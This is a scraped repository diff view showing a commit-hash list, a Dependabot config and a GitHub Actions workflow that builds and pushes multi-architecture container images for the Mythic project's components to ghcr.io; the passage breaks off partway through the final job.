1746386e06 | ||
|
|
58ef1d25a5 | ||
|
|
9962d7376c | ||
|
|
36c1ad3b29 | ||
|
|
00b7b635fb | ||
|
|
5bf1cd8425 | ||
|
|
aef8d03791 | ||
|
|
2aca5db28b | ||
|
|
0fe689086e | ||
|
|
59a905cee2 | ||
|
|
c8158902e1 | ||
|
|
51a12c2c48 | ||
|
|
569676046f | ||
|
|
8881994004 | ||
|
|
ab167c0f49 | ||
|
|
3c99f2cdf3 | ||
|
|
08e24272df | ||
|
|
94806a633d | ||
|
|
ea31698a62 | ||
|
|
3e1c71672e | ||
|
|
d6d05b11d2 | ||
|
|
0c034fbfd2 | ||
|
|
6bac1e65c2 | ||
|
|
16511efca6 | ||
|
|
a13cb6ed64 | ||
|
|
29a240a1f1 | ||
|
|
c613be1d6a | ||
|
|
860bfb1635 | ||
|
|
57626f6c0b | ||
|
|
e4b0773b81 | ||
|
|
00dec99a23 | ||
|
|
fcc150984f | ||
|
|
be6232e718 | ||
|
|
79b1ea5180 | ||
|
|
2655a81676 | ||
|
|
7e68ace90f | ||
|
|
a31556be11 | ||
|
|
e740d7c750 | ||
|
|
783894ebb7 | ||
|
|
d7c4a12b80 | ||
|
|
6c290f85f3 | ||
|
|
2d2a5cb164 | ||
|
|
257ea4c2e6 | ||
|
|
46e7a31014 | ||
|
|
01660debc2 | ||
|
|
ca96083715 | ||
|
|
bca58b2c5b | ||
|
|
2cd41fb986 | ||
|
|
fd599144ef | ||
|
|
301c772a53 | ||
|
|
c427a1f5c2 | ||
|
|
cd56243581 | ||
|
|
58e4536b36 | ||
|
|
1940005b52 | ||
|
|
2e951b158f | ||
|
|
7bed629304 | ||
|
|
2807e322fb | ||
|
|
0d14a41351 | ||
|
|
9add701f1a | ||
|
|
319f3f56ab | ||
|
|
4699c55a70 | ||
|
|
27b3f10c63 | ||
|
|
14f02c471c | ||
|
|
fcd25c4ce3 | ||
|
|
bd15ad557c | ||
|
|
2b1ebeafe8 | ||
|
|
be223d4534 | ||
|
|
76a9d43ed7 | ||
|
|
a044e90d80 | ||
|
|
9c64ad6443 | ||
|
|
c6ccbd3ff7 | ||
|
|
c47d0dfde5 | ||
|
|
2dc0914ac6 | ||
|
|
c6da795ee0 | ||
|
|
94db2025e6 | ||
|
|
626042cf03 | ||
|
|
51611c98ef | ||
|
|
38e9adab45 | ||
|
|
48d5043dc2 | ||
|
|
1a738ee1e8 | ||
|
|
40e479f55d | ||
|
|
4febe4abd7 | ||
|
|
a5f8654216 | ||
|
|
0cfb3e8010 | ||
|
|
634d654df4 | ||
|
|
16201fee33 | ||
|
|
b0571500c4 | ||
|
|
b6cdebb5c2 | ||
|
|
962a18036e | ||
|
|
359a28f016 | ||
|
|
fc1472e9a4 | ||
|
|
88fc10d1ef | ||
|
|
2c38fca30a | ||
|
|
995b1e3998 | ||
|
|
6745497690 | ||
|
|
81cdb1e152 | ||
|
|
4bed14acb9 | ||
|
|
95b0a8653b | ||
|
|
819ce29a54 | ||
|
|
1a48141442 | ||
|
|
a954efd27a | ||
|
|
29239dfa1a | ||
|
|
8a8f1f292c | ||
|
|
df26c33632 | ||
|
|
ee5548e249 | ||
|
|
742e3883de | ||
|
|
d35bfba84f | ||
|
|
518e270a2c | ||
|
|
ac419c7323 | ||
|
|
6a4ae214d5 | ||
|
|
69854ee85e | ||
|
|
e42020c1be | ||
|
|
b8e1631450 | ||
|
|
8760f40dc9 | ||
|
|
746580fe0d | ||
|
|
caada94f3d | ||
|
|
2ad30b6070 | ||
|
|
8bceda1014 | ||
|
|
2edaef58e8 | ||
|
|
dfb8068877 | ||
|
|
04a8d0daae | ||
|
|
dce4f26756 | ||
|
|
55d951ba39 | ||
|
|
ef18040abd | ||
|
|
866c99aa14 | ||
|
|
68142ca4eb | ||
|
|
ec959a8aed | ||
|
|
95e03346f0 | ||
|
|
6147a31278 | ||
|
|
4966250166 | ||
|
|
fbeaa581ac | ||
|
|
7d604f9794 | ||
|
|
26da239dad | ||
|
|
eb3450fb38 | ||
|
|
2afbe6d022 | ||
|
|
c6790b5516 | ||
|
|
42e98b1d7c | ||
|
|
04936d39eb | ||
|
|
6d293cbf1b | ||
|
|
46f499d5dc | ||
|
|
a02226d851 | ||
|
|
36966d17fb | ||
|
|
27c10e0b8c | ||
|
|
e168705f46 | ||
|
|
6ad652c1f5 | ||
|
|
12519bca4a | ||
|
|
39e6c9770d | ||
|
|
4ac085753f | ||
|
|
9d50274029 | ||
|
|
350de0a354 | ||
|
|
5ceb432111 | ||
|
|
1beadb74a9 | ||
|
|
706e1d88d4 | ||
|
|
8a47aa8f20 | ||
|
|
92936370d9 | ||
|
|
20243e619c | ||
|
|
985861d553 | ||
|
|
c8c99a4d6b | ||
|
|
651995c758 | ||
|
|
f0d7f0f98d | ||
|
|
f818a19826 | ||
|
|
16755514c5 | ||
|
|
7330c69a77 | ||
|
|
81f68b8c31 | ||
|
|
68da5f5a9a | ||
|
|
badbf91210 | ||
|
|
86b41cb516 | ||
|
|
640b6dc67f | ||
|
|
edd865478b | ||
|
|
d6cac8bac3 | ||
|
|
87a55241fc | ||
|
|
442fce9660 | ||
|
|
6fbd7d6415 | ||
|
|
e5cd7aa176 | ||
|
|
fc2264b689 | ||
|
|
f8475f1f45 | ||
|
|
a3d764fbc9 | ||
|
|
6884fbebbd | ||
|
|
f3d9c8ff60 | ||
|
|
6298118e22 | ||
|
|
a54f6073d3 | ||
|
|
b25f177705 | ||
|
|
24f1aab3e5 | ||
|
|
4a209d48a6 | ||
|
|
f0b9397362 | ||
|
|
fcff211b36 | ||
|
|
2240bbdf12 | ||
|
|
0c0ced03c0 | ||
|
|
91ca9b9364 | ||
|
|
3995eabad6 | ||
|
|
2ebdc6db3a | ||
|
|
db31503793 | ||
|
|
bf541334f4 | ||
|
|
c89af2b6f6 | ||
|
|
a966330256 | ||
|
|
838e7f2c9c | ||
|
|
84ce131f39 | ||
|
|
ced97e30ae | ||
|
|
ed7c2812ff | ||
|
|
e4f2b375e8 | ||
|
|
7f0a76aff3 | ||
|
|
20fdc72f49 | ||
|
|
d817ee771e | ||
|
|
fd30e79e36 | ||
|
|
52ebca6170 | ||
|
|
01675731ff | ||
|
|
9f9028f0ed | ||
|
|
c6006ec2d1 | ||
|
|
8902a61c1b | ||
|
|
ea9c96c27f | ||
|
|
3524b73b3b | ||
|
|
2428731366 | ||
|
|
eca95c4e24 | ||
|
|
18a7f91a74 | ||
|
|
0c81840e3c | ||
|
|
6b208f50dd | ||
|
|
5599b431a4 | ||
|
|
30993ee31f | ||
|
|
dda590cd6b | ||
|
|
50086924f2 | ||
|
|
172992f83a | ||
|
|
a0ef6428a1 | ||
|
|
832a9ef526 | ||
|
|
fcac4d9dac | ||
|
|
5265572a10 | ||
|
|
b42466d3d1 | ||
|
|
96f40f72a6 | ||
|
|
ed8b0a0542 | ||
|
|
1259736abf | ||
|
|
51f674f27c | ||
|
|
300a02e044 | ||
|
|
e3c78a04b8 | ||
|
|
1c354135cf | ||
|
|
fa30288ad7 | ||
|
|
d087969804 | ||
|
|
b903892d49 | ||
|
|
1a1e4f8a54 | ||
|
|
0e17f3cfae | ||
|
|
d8e3d2f2eb | ||
|
|
2c1e1eabd1 | ||
|
|
f55da38575 | ||
|
|
fc9370007b | ||
|
|
5c9e288a24 | ||
|
|
c98402a038 | ||
|
|
48a6b23d3f | ||
|
|
47efbfa328 | ||
|
|
a7275d2874 | ||
|
|
4e1dd0ee31 | ||
|
|
c5300920c9 | ||
|
|
c70a845737 | ||
|
|
e2253f7095 | ||
|
|
4fa148122f | ||
|
|
faa5de3f92 | ||
|
|
1a92d3e62b | ||
|
|
ee77f23df3 | ||
|
|
cecd3ddfc9 | ||
|
|
2d3c060297 | ||
|
|
a11f44b888 | ||
|
|
e845cd9470 | ||
|
|
a12e134798 | ||
|
|
8ee86eccb7 | ||
|
|
bbc04025da | ||
|
|
1a7697caac |
No files matched your search
@@ -0,0 +1,10 @@
|
||||
version: 2
|
||||
updates:
|
||||
- package-ecosystem: "npm"
|
||||
directory: "/"
|
||||
schedule:
|
||||
interval: "weekly"
|
||||
- package-ecosystem: "gomod"
|
||||
directory: "/"
|
||||
schedule:
|
||||
interval: "weekly"
|
||||
@@ -0,0 +1,573 @@
|
||||
# Pulled from Thanatos (https://github.com/MythicAgents/thanatos/blob/rewrite/.github/workflows/image.yml) - MEhrn00
|
||||
|
||||
# Name for the Github actions workflow
|
||||
name: Build and push container images
|
||||
|
||||
on:
|
||||
# Only run workflow when there is a new release published in Github
|
||||
#release:
|
||||
# types: [published]
|
||||
push:
|
||||
branches:
|
||||
- 'Mythic3.3'
|
||||
- 'master'
|
||||
tags:
|
||||
- "v*.*.*"
|
||||
|
||||
# Variables holding configuration settings
|
||||
env:
|
||||
# Container registry the built container image will be pushed to
|
||||
REGISTRY: ghcr.io
|
||||
|
||||
# Set the container image name to the Github repository name. (its-a-feature/Mythic)
|
||||
MYTHIC_SERVER_IMAGE_NAME: ${{ github.repository }}_server
|
||||
MYTHIC_CLI_IMAGE_NAME: ${{ github.repository }}_cli
|
||||
MYTHIC_POSTGRES_IMAGE_NAME: ${{ github.repository }}_postgres
|
||||
MYTHIC_RABBITMQ_IMAGE_NAME: ${{ github.repository }}_rabbitmq
|
||||
MYTHIC_DOCUMENTATION_IMAGE_NAME: ${{ github.repository }}_documentation
|
||||
MYTHIC_JUPYTER_IMAGE_NAME: ${{ github.repository }}_jupyter
|
||||
MYTHIC_GRAPHQL_IMAGE_NAME: ${{ github.repository }}_graphql
|
||||
MYTHIC_NGINX_IMAGE_NAME: ${{ github.repository }}_nginx
|
||||
MYTHIC_REACT_IMAGE_NAME: ${{ github.repository }}_react
|
||||
|
||||
# Description label for the package in Github
|
||||
IMAGE_DESCRIPTION: "test containers for Mythic development. Do not use this version!"
|
||||
|
||||
# Source URL for the package in Github. This links the Github repository packages list
|
||||
# to this container image
|
||||
IMAGE_SOURCE: ${{ github.server_url }}/${{ github.repository }}
|
||||
|
||||
# License for the container image
|
||||
IMAGE_LICENSE: BSD-3-Clause
|
||||
|
||||
# Set the container image version to the Github release tag
|
||||
VERSION: ${{ github.ref_name }}
|
||||
|
||||
# Branch for pushing release changes
|
||||
RELEASE_BRANCH: master
|
||||
|
||||
jobs:
|
||||
# Builds the base container image and pushes it to the container registry
|
||||
mythic_server:
|
||||
runs-on: ubuntu-latest
|
||||
permissions:
|
||||
contents: write
|
||||
packages: write
|
||||
steps:
|
||||
- name: Checkout the repository
|
||||
uses: actions/checkout@v4 # ref: https://github.com/marketplace/actions/checkout
|
||||
- name: Log in to the container registry
|
||||
uses: docker/login-action@v3 # ref: https://github.com/marketplace/actions/docker-login
|
||||
with:
|
||||
registry: ${{ env.REGISTRY }}
|
||||
username: ${{ github.actor }}
|
||||
password: ${{ secrets.GITHUB_TOKEN }}
|
||||
- name: Set up QEMU
|
||||
uses: docker/setup-qemu-action@v3
|
||||
with:
|
||||
platforms: 'arm64,arm'
|
||||
- name: Set up Docker Buildx
|
||||
id: buildx
|
||||
uses: docker/setup-buildx-action@v3
|
||||
# the following are unique to this job
|
||||
- name: Lowercase the server container image name
|
||||
run: echo "MYTHIC_SERVER_IMAGE_NAME=${MYTHIC_SERVER_IMAGE_NAME,,}" >> ${GITHUB_ENV}
|
||||
- name: Copy version file over
|
||||
run: cp VERSION mythic-docker/src/VERSION
|
||||
- name: Build and push the server container image
|
||||
uses: docker/build-push-action@v5 # ref: https://github.com/marketplace/actions/build-and-push-docker-images
|
||||
with:
|
||||
context: mythic-docker
|
||||
file: mythic-docker/.docker/Dockerfile
|
||||
tags: |
|
||||
${{ env.REGISTRY }}/${{ env.MYTHIC_SERVER_IMAGE_NAME }}:${{ env.VERSION }}
|
||||
${{ env.REGISTRY }}/${{ env.MYTHIC_SERVER_IMAGE_NAME }}:latest
|
||||
push: ${{ github.ref_type == 'tag' }}
|
||||
# These container metadata labels allow configuring the package in Github
|
||||
# packages. The source will link the package to this Github repository
|
||||
labels: |
|
||||
org.opencontainers.image.source=${{ env.IMAGE_SOURCE }}
|
||||
org.opencontainers.image.description=${{ env.IMAGE_DESCRIPTION }}
|
||||
org.opencontainers.image.licenses=${{ env.IMAGE_LICENSE }}
|
||||
platforms: linux/amd64,linux/arm64
|
||||
|
||||
mythic_postgres:
|
||||
runs-on: ubuntu-latest
|
||||
permissions:
|
||||
contents: write
|
||||
packages: write
|
||||
steps:
|
||||
# Pull in the repository code
|
||||
- name: Checkout the repository
|
||||
uses: actions/checkout@v4 # ref: https://github.com/marketplace/actions/checkout
|
||||
- name: Log in to the container registry
|
||||
uses: docker/login-action@v3 # ref: https://github.com/marketplace/actions/docker-login
|
||||
with:
|
||||
registry: ${{ env.REGISTRY }}
|
||||
username: ${{ github.actor }}
|
||||
password: ${{ secrets.GITHUB_TOKEN }}
|
||||
- name: Set up QEMU
|
||||
uses: docker/setup-qemu-action@v3
|
||||
with:
|
||||
platforms: 'arm64,arm'
|
||||
- name: Set up Docker Buildx
|
||||
id: buildx
|
||||
uses: docker/setup-buildx-action@v3
|
||||
# the following are unique to this job
|
||||
- name: Lowercase the postgres container image name
|
||||
run: echo "MYTHIC_POSTGRES_IMAGE_NAME=${MYTHIC_POSTGRES_IMAGE_NAME,,}" >> ${GITHUB_ENV}
|
||||
- name: Build and push the postgres container image
|
||||
uses: docker/build-push-action@v5 # ref: https://github.com/marketplace/actions/build-and-push-docker-images
|
||||
with:
|
||||
context: postgres-docker
|
||||
file: postgres-docker/Dockerfile
|
||||
tags: |
|
||||
${{ env.REGISTRY }}/${{ env.MYTHIC_POSTGRES_IMAGE_NAME }}:${{ env.VERSION }}
|
||||
${{ env.REGISTRY }}/${{ env.MYTHIC_POSTGRES_IMAGE_NAME }}:latest
|
||||
push: ${{ github.ref_type == 'tag' }}
|
||||
# These container metadata labels allow configuring the package in Github
|
||||
# packages. The source will link the package to this Github repository
|
||||
labels: |
|
||||
org.opencontainers.image.source=${{ env.IMAGE_SOURCE }}
|
||||
org.opencontainers.image.description=${{ env.IMAGE_DESCRIPTION }}
|
||||
org.opencontainers.image.licenses=${{ env.IMAGE_LICENSE }}
|
||||
platforms: linux/amd64,linux/arm64
|
||||
|
||||
mythic_rabbitmq:
|
||||
runs-on: ubuntu-latest
|
||||
permissions:
|
||||
contents: write
|
||||
packages: write
|
||||
steps:
|
||||
# Pull in the repository code
|
||||
- name: Checkout the repository
|
||||
uses: actions/checkout@v4 # ref: https://github.com/marketplace/actions/checkout
|
||||
- name: Log in to the container registry
|
||||
uses: docker/login-action@v3 # ref: https://github.com/marketplace/actions/docker-login
|
||||
with:
|
||||
registry: ${{ env.REGISTRY }}
|
||||
username: ${{ github.actor }}
|
||||
password: ${{ secrets.GITHUB_TOKEN }}
|
||||
- name: Set up QEMU
|
||||
uses: docker/setup-qemu-action@v3
|
||||
with:
|
||||
platforms: 'arm64,arm'
|
||||
- name: Set up Docker Buildx
|
||||
id: buildx
|
||||
uses: docker/setup-buildx-action@v3
|
||||
# the following are unique to this job
|
||||
- name: Lowercase the rabbitmq container image name
|
||||
run: echo "MYTHIC_RABBITMQ_IMAGE_NAME=${MYTHIC_RABBITMQ_IMAGE_NAME,,}" >> ${GITHUB_ENV}
|
||||
- name: Build and push the rabbitmq container image
|
||||
uses: docker/build-push-action@v5 # ref: https://github.com/marketplace/actions/build-and-push-docker-images
|
||||
with:
|
||||
context: rabbitmq-docker
|
||||
file: rabbitmq-docker/Dockerfile
|
||||
tags: |
|
||||
${{ env.REGISTRY }}/${{ env.MYTHIC_RABBITMQ_IMAGE_NAME }}:${{ env.VERSION }}
|
||||
${{ env.REGISTRY }}/${{ env.MYTHIC_RABBITMQ_IMAGE_NAME }}:latest
|
||||
push: ${{ github.ref_type == 'tag' }}
|
||||
# These container metadata labels allow configuring the package in Github
|
||||
# packages. The source will link the package to this Github repository
|
||||
labels: |
|
||||
org.opencontainers.image.source=${{ env.IMAGE_SOURCE }}
|
||||
org.opencontainers.image.description=${{ env.IMAGE_DESCRIPTION }}
|
||||
org.opencontainers.image.licenses=${{ env.IMAGE_LICENSE }}
|
||||
platforms: linux/amd64,linux/arm64
|
||||
|
||||
mythic_documentation:
|
||||
runs-on: ubuntu-latest
|
||||
permissions:
|
||||
contents: write
|
||||
packages: write
|
||||
steps:
|
||||
# Pull in the repository code
|
||||
- name: Checkout the repository
|
||||
uses: actions/checkout@v4 # ref: https://github.com/marketplace/actions/checkout
|
||||
- name: Log in to the container registry
|
||||
uses: docker/login-action@v3 # ref: https://github.com/marketplace/actions/docker-login
|
||||
with:
|
||||
registry: ${{ env.REGISTRY }}
|
||||
username: ${{ github.actor }}
|
||||
password: ${{ secrets.GITHUB_TOKEN }}
|
||||
- name: Set up QEMU
|
||||
uses: docker/setup-qemu-action@v3
|
||||
with:
|
||||
platforms: 'arm64,arm'
|
||||
- name: Set up Docker Buildx
|
||||
id: buildx
|
||||
uses: docker/setup-buildx-action@v3
|
||||
# the following are unique to this job
|
||||
- name: Lowercase the documentation container image name
|
||||
run: echo "MYTHIC_DOCUMENTATION_IMAGE_NAME=${MYTHIC_DOCUMENTATION_IMAGE_NAME,,}" >> ${GITHUB_ENV}
|
||||
- name: Build and push the documentation container image
|
||||
uses: docker/build-push-action@v5 # ref: https://github.com/marketplace/actions/build-and-push-docker-images
|
||||
with:
|
||||
context: documentation-docker
|
||||
file: documentation-docker/Dockerfile
|
||||
tags: |
|
||||
${{ env.REGISTRY }}/${{ env.MYTHIC_DOCUMENTATION_IMAGE_NAME }}:${{ env.VERSION }}
|
||||
${{ env.REGISTRY }}/${{ env.MYTHIC_DOCUMENTATION_IMAGE_NAME }}:latest
|
||||
push: ${{ github.ref_type == 'tag' }}
|
||||
# These container metadata labels allow configuring the package in Github
|
||||
# packages. The source will link the package to this Github repository
|
||||
labels: |
|
||||
org.opencontainers.image.source=${{ env.IMAGE_SOURCE }}
|
||||
org.opencontainers.image.description=${{ env.IMAGE_DESCRIPTION }}
|
||||
org.opencontainers.image.licenses=${{ env.IMAGE_LICENSE }}
|
||||
platforms: linux/amd64,linux/arm64
|
||||
|
||||
mythic_jupyter:
|
||||
runs-on: ubuntu-latest
|
||||
permissions:
|
||||
contents: write
|
||||
packages: write
|
||||
steps:
|
||||
# Pull in the repository code
|
||||
- name: Checkout the repository
|
||||
uses: actions/checkout@v4 # ref: https://github.com/marketplace/actions/checkout
|
||||
- name: Log in to the container registry
|
||||
uses: docker/login-action@v3 # ref: https://github.com/marketplace/actions/docker-login
|
||||
with:
|
||||
registry: ${{ env.REGISTRY }}
|
||||
username: ${{ github.actor }}
|
||||
password: ${{ secrets.GITHUB_TOKEN }}
|
||||
- name: Set up QEMU
|
||||
uses: docker/setup-qemu-action@v3
|
||||
with:
|
||||
platforms: 'arm64,arm'
|
||||
- name: Set up Docker Buildx
|
||||
id: buildx
|
||||
uses: docker/setup-buildx-action@v3
|
||||
|
||||
# these two are unique
|
||||
|
||||
- name: Lowercase the jupyter container image name
|
||||
run: echo "MYTHIC_JUPYTER_IMAGE_NAME=${MYTHIC_JUPYTER_IMAGE_NAME,,}" >> ${GITHUB_ENV}
|
||||
- name: Build and push the jupyter container image
|
||||
uses: docker/build-push-action@v5 # ref: https://github.com/marketplace/actions/build-and-push-docker-images
|
||||
with:
|
||||
context: jupyter-docker
|
||||
file: jupyter-docker/Dockerfile
|
||||
tags: |
|
||||
${{ env.REGISTRY }}/${{ env.MYTHIC_JUPYTER_IMAGE_NAME }}:${{ env.VERSION }}
|
||||
${{ env.REGISTRY }}/${{ env.MYTHIC_JUPYTER_IMAGE_NAME }}:latest
|
||||
push: ${{ github.ref_type == 'tag' }}
|
||||
# These container metadata labels allow configuring the package in Github
|
||||
# packages. The source will link the package to this Github repository
|
||||
labels: |
|
||||
org.opencontainers.image.source=${{ env.IMAGE_SOURCE }}
|
||||
org.opencontainers.image.description=${{ env.IMAGE_DESCRIPTION }}
|
||||
org.opencontainers.image.licenses=${{ env.IMAGE_LICENSE }}
|
||||
platforms: linux/amd64,linux/arm64
|
||||
|
||||
mythic_graphql:
|
||||
runs-on: ubuntu-latest
|
||||
permissions:
|
||||
contents: write
|
||||
packages: write
|
||||
steps:
|
||||
# Pull in the repository code
|
||||
- name: Checkout the repository
|
||||
uses: actions/checkout@v4 # ref: https://github.com/marketplace/actions/checkout
|
||||
- name: Log in to the container registry
|
||||
uses: docker/login-action@v3 # ref: https://github.com/marketplace/actions/docker-login
|
||||
with:
|
||||
registry: ${{ env.REGISTRY }}
|
||||
username: ${{ github.actor }}
|
||||
password: ${{ secrets.GITHUB_TOKEN }}
|
||||
- name: Set up QEMU
|
||||
uses: docker/setup-qemu-action@v3
|
||||
with:
|
||||
platforms: 'arm64,arm'
|
||||
- name: Set up Docker Buildx
|
||||
id: buildx
|
||||
uses: docker/setup-buildx-action@v3
|
||||
|
||||
# these two are unique
|
||||
|
||||
- name: Lowercase the graphql container image name
|
||||
run: echo "MYTHIC_GRAPHQL_IMAGE_NAME=${MYTHIC_GRAPHQL_IMAGE_NAME,,}" >> ${GITHUB_ENV}
|
||||
- name: Build and push the graphql container image
|
||||
uses: docker/build-push-action@v5 # ref: https://github.com/marketplace/actions/build-and-push-docker-images
|
||||
with:
|
||||
context: hasura-docker
|
||||
file: hasura-docker/Dockerfile
|
||||
tags: |
|
||||
${{ env.REGISTRY }}/${{ env.MYTHIC_GRAPHQL_IMAGE_NAME }}:${{ env.VERSION }}
|
||||
${{ env.REGISTRY }}/${{ env.MYTHIC_GRAPHQL_IMAGE_NAME }}:latest
|
||||
push: ${{ github.ref_type == 'tag' }}
|
||||
# These container metadata labels allow configuring the package in Github
|
||||
# packages. The source will link the package to this Github repository
|
||||
labels: |
|
||||
org.opencontainers.image.source=${{ env.IMAGE_SOURCE }}
|
||||
org.opencontainers.image.description=${{ env.IMAGE_DESCRIPTION }}
|
||||
org.opencontainers.image.licenses=${{ env.IMAGE_LICENSE }}
|
||||
platforms: linux/amd64,linux/arm64
|
||||
|
||||
mythic_nginx:
|
||||
runs-on: ubuntu-latest
|
||||
permissions:
|
||||
contents: write
|
||||
packages: write
|
||||
steps:
|
||||
# Pull in the repository code
|
||||
- name: Checkout the repository
|
||||
uses: actions/checkout@v4 # ref: https://github.com/marketplace/actions/checkout
|
||||
- name: Log in to the container registry
|
||||
uses: docker/login-action@v3 # ref: https://github.com/marketplace/actions/docker-login
|
||||
with:
|
||||
registry: ${{ env.REGISTRY }}
|
||||
username: ${{ github.actor }}
|
||||
password: ${{ secrets.GITHUB_TOKEN }}
|
||||
- name: Set up QEMU
|
||||
uses: docker/setup-qemu-action@v3
|
||||
with:
|
||||
platforms: 'arm64,arm'
|
||||
- name: Set up Docker Buildx
|
||||
id: buildx
|
||||
uses: docker/setup-buildx-action@v3
|
||||
|
||||
# these two are unique
|
||||
|
||||
- name: Lowercase the nginx container image name
|
||||
run: echo "MYTHIC_NGINX_IMAGE_NAME=${MYTHIC_NGINX_IMAGE_NAME,,}" >> ${GITHUB_ENV}
|
||||
- name: Build and push the nginx container image
|
||||
uses: docker/build-push-action@v5 # ref: https://github.com/marketplace/actions/build-and-push-docker-images
|
||||
with:
|
||||
context: nginx-docker
|
||||
file: nginx-docker/Dockerfile
|
||||
tags: |
|
||||
${{ env.REGISTRY }}/${{ env.MYTHIC_NGINX_IMAGE_NAME }}:${{ env.VERSION }}
|
||||
${{ env.REGISTRY }}/${{ env.MYTHIC_NGINX_IMAGE_NAME }}:latest
|
||||
push: ${{ github.ref_type == 'tag' }}
|
||||
# These container metadata labels allow configuring the package in Github
|
||||
# packages. The source will link the package to this Github repository
|
||||
labels: |
|
||||
org.opencontainers.image.source=${{ env.IMAGE_SOURCE }}
|
||||
org.opencontainers.image.description=${{ env.IMAGE_DESCRIPTION }}
|
||||
org.opencontainers.image.licenses=${{ env.IMAGE_LICENSE }}
|
||||
platforms: linux/amd64,linux/arm64
|
||||
|
||||
mythic_react:
|
||||
runs-on: ubuntu-latest
|
||||
permissions:
|
||||
contents: write
|
||||
packages: write
|
||||
steps:
|
||||
# Pull in the repository code
|
||||
- name: Checkout the repository
|
||||
uses: actions/checkout@v4 # ref: https://github.com/marketplace/actions/checkout
|
||||
with:
|
||||
lfs: true
|
||||
- name: Log in to the container registry
|
||||
uses: docker/login-action@v3 # ref: https://github.com/marketplace/actions/docker-login
|
||||
with:
|
||||
registry: ${{ env.REGISTRY }}
|
||||
username: ${{ github.actor }}
|
||||
password: ${{ secrets.GITHUB_TOKEN }}
|
||||
- name: Set up QEMU
|
||||
uses: docker/setup-qemu-action@v3
|
||||
with:
|
||||
platforms: 'arm64,arm'
|
||||
- name: Set up Docker Buildx
|
||||
id: buildx
|
||||
uses: docker/setup-buildx-action@v3
|
||||
|
||||
# these two are unique
|
||||
|
||||
- name: Lowercase the react container image name
|
||||
run: echo "MYTHIC_REACT_IMAGE_NAME=${MYTHIC_REACT_IMAGE_NAME,,}" >> ${GITHUB_ENV}
|
||||
- name: Build and push the react container image
|
||||
uses: docker/build-push-action@v5 # ref: https://github.com/marketplace/actions/build-and-push-docker-images
|
||||
with:
|
||||
context: mythic-react-docker
|
||||
file: mythic-react-docker/Dockerfile
|
||||
tags: |
|
||||
${{ env.REGISTRY }}/${{ env.MYTHIC_REACT_IMAGE_NAME }}:${{ env.VERSION }}
|
||||
${{ env.REGISTRY }}/${{ env.MYTHIC_REACT_IMAGE_NAME }}:latest
|
||||
push: ${{ github.ref_type == 'tag' }}
|
||||
# These container metadata labels allow configuring the package in Github
|
||||
# packages. The source will link the package to this Github repository
|
||||
labels: |
|
||||
org.opencontainers.image.source=${{ env.IMAGE_SOURCE }}
|
||||
org.opencontainers.image.description=${{ env.IMAGE_DESCRIPTION }}
|
||||
org.opencontainers.image.licenses=${{ env.IMAGE_LICENSE }}
|
||||
platforms: linux/amd64,linux/arm64
|
||||
|
||||
# update mythic-cli latest after we're sure all the others build properly
|
||||
mythic_cli:
|
||||
runs-on: ubuntu-latest
|
||||
needs:
|
||||
- mythic_server
|
||||
- mythic_postgres
|
||||
- mythic_rabbitmq
|
||||
- mythic_documentation
|
||||
- mythic_jupyter
|
||||
- mythic_graphql
|
||||
- mythic_nginx
|
||||
- mythic_react
|
||||
permissions:
|
||||
contents: write
|
||||
packages: write
|
||||
steps:
|
||||
# Pull in the repository code
|
||||
- name: Checkout the repository
|
||||
uses: actions/checkout@v4 # ref: https://github.com/marketplace/actions/checkout
|
||||
- name: Log in to the container registry
|
||||
uses: docker/login-action@v3 # ref: https://github.com/marketplace/actions/docker-login
|
||||
with:
|
||||
registry: ${{ env.REGISTRY }}
|
||||
username: ${{ github.actor }}
|
||||
password: ${{ secrets.GITHUB_TOKEN }}
|
||||
- name: Set up QEMU
|
||||
uses: docker/setup-qemu-action@v3
|
||||
with:
|
||||
platforms: 'arm64,arm'
|
||||
- name: Set up Docker Buildx
|
||||
id: buildx
|
||||
uses: docker/setup-buildx-action@v3
|
||||
# the following are unique to this job
|
||||
- name: Lowercase the cli container image name
|
||||
run: echo "MYTHIC_CLI_IMAGE_NAME=${MYTHIC_CLI_IMAGE_NAME,,}" >> ${GITHUB_ENV}
|
||||
|
||||
- name: Fix the mythic_docker_latest reference to reference the new release tag
|
||||
working-directory: Mythic_CLI/src/cmd/config
|
||||
run: |
|
||||
sed -i "s|^const MythicDockerLatest =.*$|const MythicDockerLatest = \"${VERSION}\"|" constants.go
|
||||
|
||||
- name: Build and push the cli container image
|
||||
uses: docker/build-push-action@v5 # ref: https://github.com/marketplace/actions/build-and-push-docker-images
|
||||
with:
|
||||
context: Mythic_CLI
|
||||
file: Mythic_CLI/Dockerfile
|
||||
tags: |
|
||||
${{ env.REGISTRY }}/${{ env.MYTHIC_CLI_IMAGE_NAME }}:${{ env.VERSION }}
|
||||
${{ env.REGISTRY }}/${{ env.MYTHIC_CLI_IMAGE_NAME }}:latest
|
||||
push: ${{ github.ref_type == 'tag' }}
|
||||
# These container metadata labels allow configuring the package in Github
|
||||
# packages. The source will link the package to this Github repository
|
||||
labels: |
|
||||
org.opencontainers.image.source=${{ env.IMAGE_SOURCE }}
|
||||
org.opencontainers.image.licenses=${{ env.IMAGE_LICENSE }}
|
||||
platforms: linux/amd64,linux/arm64
|
||||
outputs: type=image,name=target,annotation-index.org.opencontainers.image.description=${{ env.IMAGE_DESCRIPTION }}
|
||||
|
||||
update_files:
|
||||
runs-on: ubuntu-latest
|
||||
needs:
|
||||
- mythic_server
|
||||
- mythic_cli
|
||||
- mythic_postgres
|
||||
- mythic_rabbitmq
|
||||
- mythic_documentation
|
||||
- mythic_jupyter
|
||||
- mythic_graphql
|
||||
- mythic_nginx
|
||||
- mythic_react
|
||||
permissions:
|
||||
contents: write
|
||||
packages: write
|
||||
|
||||
steps:
|
||||
# Pull in the repository code
|
||||
- name: Checkout the repository
|
||||
uses: actions/checkout@v4 # ref: https://github.com/marketplace/actions/checkout
|
||||
|
||||
# update names to lowercase
|
||||
- name: Lowercase the server container image name
|
||||
run: echo "MYTHIC_SERVER_IMAGE_NAME=${MYTHIC_SERVER_IMAGE_NAME,,}" >> ${GITHUB_ENV}
|
||||
- name: Lowercase the cli container image name
|
||||
run: echo "MYTHIC_CLI_IMAGE_NAME=${MYTHIC_CLI_IMAGE_NAME,,}" >> ${GITHUB_ENV}
|
||||
- name: Lowercase the postgres container image name
|
||||
run: echo "MYTHIC_POSTGRES_IMAGE_NAME=${MYTHIC_POSTGRES_IMAGE_NAME,,}" >> ${GITHUB_ENV}
|
||||
- name: Lowercase the rabbitmq container image name
|
||||
run: echo "MYTHIC_RABBITMQ_IMAGE_NAME=${MYTHIC_RABBITMQ_IMAGE_NAME,,}" >> ${GITHUB_ENV}
|
||||
